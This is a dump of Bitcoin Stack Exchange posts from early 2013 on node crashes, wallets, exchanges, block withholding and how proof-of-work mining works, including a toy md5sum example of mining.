  <row Id="8011" PostTypeId="1" CreationDate="2013-02-28T00:28:28.887" Score="3" ViewCount="589" Body="&lt;p&gt;I'm running the latest version of the headless bitcoind server on an Ubuntu micro instance on AWS and every hour or so it spontaneously shuts down. It's hard to get any meaningful data from the debug log because it seems to happen completely randomly. This is a brand new install on a brand new AWS box. I'm also running the testnet, by the way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can think of meaningful data I can provide, please tell me, but I'm at a loss here! Does anybody know what could be going on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After some more research, I think it's because of the limited memory in a micro EC2 instance:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=21451.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=21451.0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3098" LastEditorUserId="3098" LastEditDate="2013-02-28T00:46:02.807" LastActivityDate="2014-07-15T22:19:42.900" Title="Bitcoind server spontaneously shutting down" Tags="|bitcoind|amazon-web-services|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8013" PostTypeId="2" ParentId="7951" CreationDate="2013-02-28T01:11:58.717" Score="1" Body="&lt;p&gt;I developed a solution using bitcoind (bitcoin-qt).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It was very easy with PHP + RPC Class, but bitcoind has some limitations which make it not very suited as a backend/library.&lt;/p&gt;&#xA;" OwnerUserId="2785" LastActivityDate="2013-02-28T01:11:58.717" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8014" PostTypeId="2" ParentId="8008" CreationDate="2013-02-28T01:44:21.643" Score="2" Body="&lt;p&gt;Pools don't measure mining rate by how many times a client calls GetWork. They measure mining rate by how many shares are submitted. A share is just like a normal block solution, except that it is million times easier to find. If you don't mine, you don't find shares. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1338/how-is-block-solution-withholding-a-threat-to-mining-pools&quot;&gt;Related.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2013-02-28T01:44:21.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8015" PostTypeId="1" CreationDate="2013-02-28T03:45:32.107" Score="10" ViewCount="1163" Body="&lt;p&gt;When I created my ripple wallet, I selected local computer.  Now I want to be able to access my wallet from any computer.  How can I move my ripple wallet to the server?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or suppose I want to remove my wallet from the Ripple server (why would I want to do this?), what is the correct approach?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="153" LastEditDate="2013-02-28T04:29:43.197" LastActivityDate="2013-07-31T10:47:27.400" Title="With Ripple, how can I move my wallet to/from Payward?" Tags="|ripple|ripple-client|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8017" PostTypeId="1" AcceptedAnswerId="8020" CreationDate="2013-02-28T05:11:25.373" Score="4" ViewCount="664" Body="&lt;p&gt;Say someone locks away a wallet in durable storage for 100 years and BitCoins are still actively used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are those BitCoins still going to be valid if they haven't been traded in/upgraded to the newer protocols?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen other answers on this site that suggest either that 1) &lt;a href=&quot;https://bitcoin.stackexchange.com/a/1382/614&quot;&gt;BitCoins will need to be upgraded by a certain block&lt;/a&gt; (at the switching of the hash function and protocol, for example, to adapt to any discovered weaknesses) OR 2) &lt;a href=&quot;https://bitcoin.stackexchange.com/a/3399/614&quot;&gt;that they will forever be valid&lt;/a&gt; but that future equipment might be able to steal away those bitcoins (or even generate never-before-seen ones under the older protocols).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Would be awful, it seems to me.  What if you miss the deadline because you're in a coma and nobody knows to keep your wallet updated?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Seems like a danger for a deflationary currency where the older money is easier to counterfeit AND is worth more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps I'm just confusing matters of BitCoin, Blocks, and Wallets?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I understand it, if the first BitCoin ever made had been squirreled away and the currency takes off as a success, the novel and deflationary nature of the currency will make the exchange value of that first BitCoin very high compared to it's initial exchange value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Over time, weaknesses in the original hash functions may be found and counterfeiting early BitCoin may become practical.  And the reward for doing so seems to me that it would be higher than counterfeiting BitCoin of the future-present!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the physical world, finding a buried treasure of gold or a sack of US dollars has a lot of protections against counterfeiting.  I don't know how old of a design of US dollars banks would accept, but I guess that as long as you can do a convincing show of where you found it and forgery experts examine it all different ways and it checks out, they you're entitled to trade up.  Gold is pretty easy - can't &lt;em&gt;fool&lt;/em&gt; people for too long.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Authenticity of BitCoin is all in the math, so if the technology to forge the math is practical at any point in the assumed infinite future of technological advancements then the forgery would be undetectable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Due to inflation, an old $20 would get you a lot more than it did today.  But then again, I'm assuming that the old $20 and the new $20 are equivalent, once the old $20's authenticity is established.  And due to deflation, a BitCoin today will get you a lot less than the equivalent BitCoin in the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With inflation, the standard denomination of the future might be $100s or $1,000 or $10,000 ...  so a recovered or counterfeit old $20 isn't worth much, and a sack of $10,000 bills from 1960 would be hard to explain!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With deflation, the standard denominations get smaller, so a counterfeit old BitCoin would be easy to explain and forge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So we could require that people keep their wallets updated.  You mean if I don't keep up with my &lt;a href=&quot;http://update.microsoft.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;BitCoin Updates every Tuesday&lt;/a&gt; that my bank accounts would be wiped clean?  But that seems unacceptable to me - seems that a powerful group could do a lot of damage to a person or a population by somehow disrupting or disallowing access to their wallets.  I don't know how that would play out, but it seems plausible that a scheme could be devised if money expires like that.&lt;/p&gt;&#xA;" OwnerUserId="614" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2013-03-05T20:45:03.500" Title="Future-proofing a deflationary currency from future counterfeiting" Tags="|hash|future-proof|" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8018" PostTypeId="1" AcceptedAnswerId="8019" CreationDate="2013-02-28T06:28:38.533" Score="0" ViewCount="183" Body="&lt;p&gt;Update: This is a bad idea because it simply won't work, but it did help me understand what happens between a Miner and a Pool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if you missed it in the comments, &lt;a href=&quot;https://bitcoil.co.il/pool_analysis.pdf&quot; rel=&quot;nofollow&quot;&gt;read @Meni's PDF for a threat and profitability analysis of pools.&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Is it feasible for a pool operator to include a &quot;signature transaction&quot; sending a small amount of BTC from and to themselves... and then monitor the public block chain for these addresses if share withholding (and subsequent solo broadcast) is attempted?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, if a pool has 10,000 workers, then generate 10,000 addresses.   Then create a transaction with an output corresponding with the worker address.  Of course this money won't go to the worker (unless the operator desires it), but it can be used as virtual stamp on the entire block.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is this a viable strategy?  If so, what scope is best for this check: per miner, per x miners, or per pool?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;(I think the per pool scope may be a good way to get a measurement on % of cheaters)&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="5406" LastEditDate="2016-03-16T09:48:15.573" LastActivityDate="2016-03-16T09:48:15.573" Title="Possible to include a per miner transaction to prevent withholding and independent rebroadcast of a solved block?" Tags="|mining-pools|security|block-withholding|transaction-propagation|" AnswerCount="1" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="8019" PostTypeId="2" ParentId="8018" CreationDate="2013-02-28T07:45:55.380" Score="5" Body="&lt;p&gt;I think you may be confused about what block withholding means.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pools already assign unique work to miners which credits the pool, not the miner. A miner cannot take the block reward for himself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Block withholding&quot; means the miner submits shares normally, unless the share happens to be a block. Then he withholds it for either sabotage or lie-in-wait. Since block finding is random, no &quot;marking&quot; by the pool can help it determine if the miner found a block or not.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-02-28T07:45:55.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8020" PostTypeId="2" ParentId="8017" CreationDate="2013-02-28T08:25:37.790" Score="3" Body="&lt;p&gt;There are a few things one needs to consider:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Bitcoin software is bound to change. It will be adapted to new systems, hardware, and so forth. Expecting a program from now to work 100 years from now is probably not going to happen.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Bitcoin protocol probably will change, but the change will be less drastic. For example, block size might get changed. If a protocol changes, it makes software that uses old protocol not able to properly communicate with the network.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The last part that needs to be addressed, is whether or not the way bitcoins are &quot;stored&quot; will change. At the moment, everything is handled using secp256k1 ECDSA algorithm. In order to spend bitcoins, one needs to sign a transaction with their private key. The exact specific of what such a transaction might look like is likely to change, but the algorithm itself is very unlikely to change unless some serious threat appears for Bitcoin. At the moment, quantum computers are a thing that might or might not brake that algorithm in the future. If that was to happen, the algorithm would be changed.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In order to be able to access one's bitcoins 100 years from now, one would need to get their hands on a piece of software from that time (pretty easy), that works with the protocol at that time (very easy), and the Bitcoin protocol must still accept ECDSA signatures or at least private keys (unknown).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Provided secp256k1 is still secure in the future, your coins will be yours to claim (unless someone adds an unlikely exception of &quot;coins older than X years cannot be spent&quot;).&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-02-28T08:25:37.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8021" PostTypeId="2" ParentId="8017" CreationDate="2013-02-28T08:34:31.610" Score="1" Body="&lt;p&gt;You always can spend bitcoins for which you own the private key. No matter upgrades, versions, protocol changes. If you have your private key then you can get / calculate / derive the then-current key to open your Bitcoin wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;May be things become obsolete, like floppy drives.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's more important is that hash functions used now may be broken at some point of time. In this case, you will have only hours to react. Or, community may save you through some kind of counter measures.&lt;/p&gt;&#xA;" OwnerUserId="2229" LastActivityDate="2013-02-28T08:34:31.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8022" PostTypeId="1" AcceptedAnswerId="8051" CreationDate="2013-02-28T08:40:06.537" Score="1" ViewCount="1849" Body="&lt;p&gt;What are the advantages and disadvantages of keeping bitcoins in an exchange versus a private wallet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Exchange advantages: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Liquidity - you can quickly trade bitcoins for dollars, and vice versa.&lt;/li&gt;&#xA;&lt;li&gt;Can hold dollars directly&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Wallet advantages:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;No reporting requirements&lt;/li&gt;&#xA;&lt;li&gt;Can quickly get at your bitcoins&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3047" LastEditorUserId="2306" LastEditDate="2013-03-01T06:24:18.940" LastActivityDate="2013-03-01T11:08:19.010" Title="What are the advantages and disadvantages of keeping bitcoins in an exchange versus a private wallet?" Tags="|wallet|exchanges|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8024" PostTypeId="1" AcceptedAnswerId="13706" CreationDate="2013-02-28T12:43:23.203" Score="10" ViewCount="450" Body="&lt;p&gt;According to blockchain.info, BTC reached a peak rate of $35 in June 2011. According to the data available from bitcoincharts.com, the highest price BTC was traded in Mtgox that month (and until recently, the all-time high) is $31.9099.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the reason for this discrepancy? Does blockchain.info give the rate from an exchange other than Mtgox?&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-10-11T12:05:10.687" Title="Why does blockchain.info say BTC was traded for $35?" Tags="|exchanges|exchange-rate|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8025" PostTypeId="1" CreationDate="2013-02-28T12:47:15.363" Score="3" ViewCount="185" Body="&lt;p&gt;I am curious if I buy a miner  today what good would be two years from now, will it still mine the same way and also still be profitable? Assuming that the difficulty factor is adjusted to the way that it mines.&lt;/p&gt;&#xA;" OwnerUserId="3100" LastActivityDate="2013-02-28T13:17:54.183" Title="What is expected of current mining equipment 2 years from now?" Tags="|mining-pools|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8026" PostTypeId="2" ParentId="8025" CreationDate="2013-02-28T13:17:54.183" Score="6" Body="&lt;p&gt;Presumably you are asking about ASIC hardware as there is no sense in acquiring more GPU or FPGA hardware at this point in time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are always optimizations possible, so while the work performed by the miner hardware today will most likely still be a valid method two years from now there may be new approaches that make current mining hardware either incompatible with the new method, or of too low of performance to justify continuing to use it for mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as it being profitable, that cannot be answered.   Mining hardware profitability is determined by the difficulty level at intervals over time and the exchange rates -- neither of which can be known today.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mining is a form of speculation on the Bitcoin exchange rate.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-02-28T13:17:54.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8027" PostTypeId="1" AcceptedAnswerId="8053" CreationDate="2013-02-28T13:21:54.333" Score="4" ViewCount="427" Body="&lt;p&gt;Is it true that a share hash is simply the same thing as a block hash, but with a lower difficulty?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way for a miner in a pool to get a list of all the data being hashed (not sure if that is simply the merkle tree, or everything from ListTransactions)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the answer is &quot;no&quot;, what is the underlying data that is being hashed, and how is it used?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2013-03-01T13:27:16.807" Title="How does a share hash compare to a block hash? Can a miner view the contents of the current block?" Tags="|mining-pools|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8028" PostTypeId="1" AcceptedAnswerId="8075" CreationDate="2013-02-28T16:58:03.677" Score="3" ViewCount="5201" Body="&lt;p&gt;I'm trying to externally calculate the hashrate of a given miner based only on an arbitrarily defined target that I assign, then calculate probability it will be found.  Once this probability is calculated I want to estimate how long it should (on average) take to find a block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a feasible thing to do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the math required to determine hashrate? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: Given that target is 1, and the miner submitted the block in 10 minutes.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="5406" LastEditDate="2016-03-11T11:17:53.563" LastActivityDate="2016-03-11T11:17:53.563" Title="Given the probability of finding a block, and time taken, can I infer hashrate?" Tags="|hash|difficulty|hashpower|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8030" PostTypeId="1" AcceptedAnswerId="8049" CreationDate="2013-02-28T17:15:50.370" Score="5" ViewCount="8105" Body="&lt;p&gt;so im thinking about purchasing a big bitcoin miner, but the question now is how do i convert my BTC back to cash? I don't feel safe giving out my info to mtgox or other exchanges as they require identification. So what is the easiest way without having to go through a bunch of steps to conver it back to USD?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastEditorUserId="5406" LastEditDate="2016-04-01T09:09:33.157" LastActivityDate="2016-04-01T09:09:33.157" Title="What and where is the easiest way to convert bitcoin back to cash without showing ID?" Tags="|exchanges|exchange-rate|privacy|mining-reward|sell-bitcoins|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8031" PostTypeId="1" AcceptedAnswerId="20897" CreationDate="2013-02-28T17:53:44.590" Score="163" ViewCount="290803" Body="&lt;p&gt;As with mining, what are the bitcoin miners really solving? I read they are solving hashes, but what does that really mean. Can we see what they are solving? Can someone give an example of what a bitcoin mining machine sees to solve?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastEditorUserId="121614" LastEditDate="2022-07-20T01:44:42.567" LastActivityDate="2023-04-26T12:00:53.533" Title="What are bitcoin miners really solving?" Tags="|mining-theory|hash|mining-reward|proof-of-work|" AnswerCount="6" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8032" PostTypeId="1" AcceptedAnswerId="8048" CreationDate="2013-02-28T17:55:19.693" Score="2" ViewCount="326" Body="&lt;p&gt;I'm looking to start up a ecommerce solution and wanted to know which ecommerce software is best suited to accept bitcoin which also has the most community support?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2014-10-20T05:02:22.603" Title="Which ecommerce carts support bitcoin with the biggest user base?" Tags="|ecommerce|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8033" PostTypeId="2" ParentId="8031" CreationDate="2013-02-28T18:46:45.740" Score="162" Body="&lt;p&gt;Here is an &lt;em&gt;extremely&lt;/em&gt; simplified sketch of the problem, but it should give a pretty good idea of what the problem is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The data:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the hash of the lastest block (shortened to 30 characters): &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000000001adf44c7d69767585&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These are the hashes of a few valid transactions waiting for inclusion (shortened).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;5572eca4dd4&#xA;db7d0c0b845&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this the hash of one special transaction that you just crafted, which gives 25BTC (the current reward) to yourself:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;916d849af76&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Building the next block:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, let's use a gross approximation of what a new block might look like (the real one uses binary format). It contains the hash of the previous block and the hashes of those 3 transactions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000000001adf44c7d69767585--5572eca4dd4-db7d0c0b845-916d849af76--&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now let's do mining by hand! Our goal is to complete this block with a nonce (a piece of garbage) such that the hash of the new block starts with 13 zeros (considering the previous hash, it seems that 13 zeroes is the current difficulty!).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Mining (trying to finalize this block):&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's try with nonce=1, and compute the hash of the block (I'm using the md5 hash algorithm, but Bitcoin uses double sha256):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; echo &quot;00000000000001adf44c7d69767585--5572eca4dd4-db7d0c0b845-916d849af76--1&quot; | md5sum &#xA;8b9b994dcf57f8f90194d82e234b72ac&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;No luck, the hash does not start with a 0… Let's try with nonce=2&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; echo &quot;00000000000001adf44c7d69767585--5572eca4dd4-db7d0c0b845-916d849af76--2&quot; | md5sum &#xA;5b7ce5bcc07a2822f227fcae7792fd90&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;No luck…&lt;/p&gt;&#xA;&#xA;&lt;p&gt;…&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we pursue until nonce=16, we get our first leading zero.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; echo &quot;00000000000001adf44c7d69767585--5572eca4dd4-db7d0c0b845-916d849af76--16&quot; | md5sum &#xA;03b80c7a34b060b33dd8fbbece79cee3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For nonce=208, we get two leading zeroes!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; echo &quot;00000000000001adf44c7d69767585--5572eca4dd4-db7d0c0b845-916d849af76--208&quot; | md5sum &#xA;0055e55df5758517c9bed0981b52ce4a&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Continue like this… If you finally find a hash that has 13 leading zeroes… you're a winner! Other miners will now build upon your block, you've just got 25BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you'll have to be fast!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Back to step 1…&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone manages to build a block before you do, you'll have to start again from the beginning with the new block's hash (the one of the winner).&lt;/p&gt;&#xA;" OwnerUserId="132" LastEditorUserId="132" LastEditDate="2016-04-21T15:31:18.173" LastActivityDate="2016-04-21T15:31:18.173" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="8034" PostTypeId="2" ParentId="8031" CreationDate="2013-02-28T18:50:16.907" Score="74" Body="&lt;p&gt;The following is a description of the global, statistical gamble which is played every 10 or so minutes.  The interval of the game is controlled by the &lt;a href=&quot;https://bitcoinwisdom.com/bitcoin/difficulty&quot; rel=&quot;noreferrer&quot;&gt;difficulty&lt;/a&gt; which says how many &quot;hashes&quot; are needed per interval. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, the &lt;code&gt;difficulty&lt;/code&gt; and &lt;code&gt;target&lt;/code&gt; define the &quot;odds of the house&quot; against your chance of getting a winning SHA hash.  The &lt;code&gt;nonce&lt;/code&gt; is the &quot;scratch off&quot; area.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each hash consumes electricity, and emits heat, which requires additional cooling. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what is done with each hash:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At a high level, the miner software takes a list of active transactions, and then groups them together in something called a &quot;block&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Or more accurately stated:&lt;/em&gt; The miner software coverts all the transactions into a summary view called a  &quot;merkle root&quot;, and hashes it, which is representative of the transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then mining software converts this to into a binary format called a &lt;a href=&quot;https://en.bitcoin.it/wiki/Block_hashing_algorithm&quot; rel=&quot;noreferrer&quot;&gt;Block Header&lt;/a&gt;, which also references the previous blocks (also called a chain).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Field           Purpose                          Updated when...               Size (Bytes)&#xA;Version         Block version number             You upgrade the software and   4&#xA;                                                 it specifies a new version &#xA;&#xA;hashPrevBlock   256-bit hash of the previous     A new block comes in          32&#xA;                block header    &#xA;hashMerkleRoot  256-bit hash based on all        A transaction is accepted     32&#xA;                the transactions in the block       &#xA;&#xA;Time            Current timestamp as seconds     Every few seconds              4&#xA;                since 1970-01-01T00:00 UTC  &#xA;&#xA;Bits            Current target in compact format   The difficulty is adjusted   4&#xA;&#xA;Nonce           32-bit number (starts at 0)       A hash is tried (increments)  4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 3:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The miner hardware changes a small portion of this block called a &quot;nonce&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 4:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The block header &lt;a href=&quot;https://www.youtube.com/watch?v=S9JGmA5_unY&quot; rel=&quot;noreferrer&quot;&gt;is hashed&lt;/a&gt; and &lt;a href=&quot;https://en.bitcoin.it/wiki/Target&quot; rel=&quot;noreferrer&quot;&gt;compared to the Target&lt;/a&gt; as if it were simply a large number like 10,000,000 &gt; 7,000,000  (the real numbers are much bigger, and in hex).  The target is compressed and stored in each block in a field called bits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An expanded target looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  Target   0000000000000083ef00000000000000000000000000000000000000000000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the goal is to make sure the &lt;a href=&quot;https://www.youtube.com/watch?v=S9JGmA5_unY&quot; rel=&quot;noreferrer&quot;&gt;SHA256 hash&lt;/a&gt; of the block is &lt;em&gt;less than&lt;/em&gt; this value.  In the example below &quot;&lt;code&gt;83ee&lt;/code&gt;&quot; is smaller than &quot;&lt;code&gt;83ef&lt;/code&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To simplify this concept, you can ballpark the target by counting the leading zeros (as the other answer here explains).  Here is an example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blockchain.info/block-index/353394/0000000000000083ee9371ddff055eed7f02348e4eda36c741a2fc62c85bc5cf&quot; rel=&quot;noreferrer&quot;&gt;Here is a sample block with transactions you can view on BlockChain.info.&lt;/a&gt; Look in the upper right hand corner of the webpage for this hash:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   Hash 0000000000000083ee9371ddff055eed7f02348e4eda36c741a2fc62c85bc5cf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That previous hash was from today and has 14 leading zeroes.  Let's compare that to what was needed 3 years ago with &lt;a href=&quot;http://blockchain.info/block-index/100&quot; rel=&quot;noreferrer&quot;&gt;block 100&lt;/a&gt; which has 8 leading zeros.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   Hash 00000000a8ed5e960dccdf309f2ee2132badcc9247755c32a4b7081422d51899&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Summary&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So at the end of the day, all a miner does is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Take a block header as input&lt;/li&gt;&#xA;&lt;li&gt;Change the Nonce&lt;/li&gt;&#xA;&lt;li&gt;Test if the Block Header &lt;a href=&quot;https://www.youtube.com/watch?v=S9JGmA5_unY&quot; rel=&quot;noreferrer&quot;&gt;hash&lt;/a&gt; is less than the Target.  If it is, you win.&lt;/li&gt;&#xA;&lt;li&gt;Go to step 2  (or go to step 1 if someone else won the block)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Want to see what Bitcoin-QT does when it finds a block?... &lt;a href=&quot;https://bitcoin.stackexchange.com/a/5782/1878&quot;&gt;I posted it here.&lt;/a&gt;. The information in this post will help you understand what happened.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="1878" LastEditDate="2017-12-09T22:08:29.260" LastActivityDate="2017-12-09T22:08:29.260" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="8037" PostTypeId="1" AcceptedAnswerId="8039" CreationDate="2013-02-28T22:13:10.213" Score="1" ViewCount="558" Body="&lt;p&gt;In bitcoin related discussions people often say that something may require a &quot;hard fork&quot;.&#xA;What do they mean? What is a fork?&lt;/p&gt;&#xA;" OwnerUserId="3110" LastEditorUserId="121614" LastEditDate="2023-08-05T16:31:04.557" LastActivityDate="2023-08-05T16:31:04.557" Title="What does it mean that fork is required?" Tags="|blockchain-fork|terminology|" AnswerCount="1" CommentCount="0" ClosedDate="2013-04-19T14:01:07.170" ContentLicense="CC BY-SA 3.0" />
